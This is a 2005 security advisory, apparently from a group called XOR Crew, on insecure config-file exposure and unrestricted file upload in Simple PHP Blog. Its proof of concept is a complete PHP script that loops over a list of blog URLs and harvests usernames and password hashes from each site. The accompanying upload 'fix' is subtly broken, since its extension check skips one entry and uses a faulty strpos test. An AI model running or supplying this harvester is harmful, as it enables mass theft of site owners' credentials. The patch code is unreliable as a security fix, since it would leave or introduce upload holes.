Simple PHP Blog File Upload and User Credentials Exposure Vulnerabilities

[Scott Dewey <wr0ck () xorcrew net>]

===============================================================================
XOR Crew :: Security Advisory                                  8/25/2005
===============================================================================
Simple PHP Blog File Upload and User Credentials Exposure 
Vulnerabilities
===============================================================================
http://www.xorcrew.net/
===============================================================================

:: Summary

      Vendor       :  Alexander Palmo
      Vendor Site  :  http://www.simplephpblog.com/
      Product(s)   :  Simple PHP Blog (SPHPBlog)
      Version(s)   :  All
      Severity     :  Medium/High
      Release Date :  8/25/2005
      Impact       :  Unauthorized file upload,
                   :  Exposure of user credentials.
      Credits      :  ReZEN (rezen (a) xorcrew (.) net),
                   :  0xception (oxception (a) xorcrew (.) net).

===============================================================================

I. Description

Simple PHP Blog is PHP (4 or greater) based blogging application that 
was written with simplicity of installation and maintenance in mind. 
Unlike other blog software, there is almost no setup - just unzip and 
copy. It is a dead-simple blog that doesn't require a database. It uses 
flat text files, and looks nice.

===============================================================================

II. Synopsis

The Simple PHP Blog application has two vulnerabilities present within 
it that when used together, can allow an attacker to arbitrarily upload 
files to the server. The first vulnerability has to do with insecure 
default file permissions and placement of config.txt and password.txt, 
and leaves both files fully accessible to unauthorized users. This
problem was realized earlier in February, unknown to us. The fix for 
that is to simply `.htaccess' the config directory of the blogger's 
directory tree.

The second of the two vulnerabilities lies within the image upload 
system provided to (il?)legitimate, logged-in users. There is no image 
validation function in the blogger to stop an unauthorized user from 
uploading any file they want to to the server. The vendor has been 
contacted and has failed to reply. This is a problem that has yet to be 
addressed.

===============================================================================

III. Code/PoC

Insecure file upload - fix by ReZEN:

Add to upload_img_cgi.php at line 19:

-----BEGIN-----

$no = array( "exe", "pl", "php", "php3", "php4", "php5", "phps", "asp",
"cgi", "html", "htm" );
for( $i = 0; $i < 10; $i++ )
 {
  if( strpos( $uploadfile, $no[$i] ) >= 0 )
   {
    echo "That filetype is not allowed";
    exit;
   }
 }

------END------

PoC code to harvest usernames and passwords from vulnerable blogs,
given a list of URLs:

-----BEGIN-----

<?php
/********************************************

Stupid Script to grab usernames
and password hashes form Simple PHP Blog
Coded by ReZEN of XOR
http://www.xorcrew.net/ReZEN
ReZEN (AT) xorcrew (DOT) net
Greetz: wr0ck, 0xception, tendo, ld, smirks,
ajax, gml(i miss you), Infintiy, my friends
My loving parents =] and anyone else i forgot

*********************************************/

$pdir = "config/password.txt";
$udir = "config/config.txt";
$urllist = "urls.txt";  //List of Blog Urls
$i = 0;
$fp = fopen( $urllist, 'rb' );

if( !$fp )
 {
  echo "Unable to open: ".$urllist."<br><br>";
 }
else
 {
  while ( !feof ( $fp ) )
   {
    $url[$i] = fgets ( $fp, 1000 );
    $url[$i] = trim( $url[$i] );
    $i = $i + 1;
   }
  $limit = $i;
  fclose( $fp );
 }

for( $i = 0; $i < $limit; $i++ )
 {
  $fp = fopen( $url[$i].$pdir, 'rb' );
  if ( !$fp )
   {
    echo "Unable to get: ".$url.$pdir."<br><br>";
   }
  else
   {
    $pass = fread($fp, 1000);
    fclose($fp);
   }

  $fp = fopen( $url[$i].$udir, 'rb' );

  if (!$fp)
   {
    echo "Unable to get: ".$url.$udir."<br><br>";
   }
  else
   {
    $conf = fread( $fp, 1000 );
    fclose( $fp );
   }

  $user = explode( "|", $conf );
  echo $user[1].":".$pass."<br>";
  $user = "";
  $pass = "";
 }
?>

------END------

===============================================================================

IV. Greets :>

All of xor, Infinity, stokhli, ajax, gml, k&k, seeprompt, the rest.

===============================================================================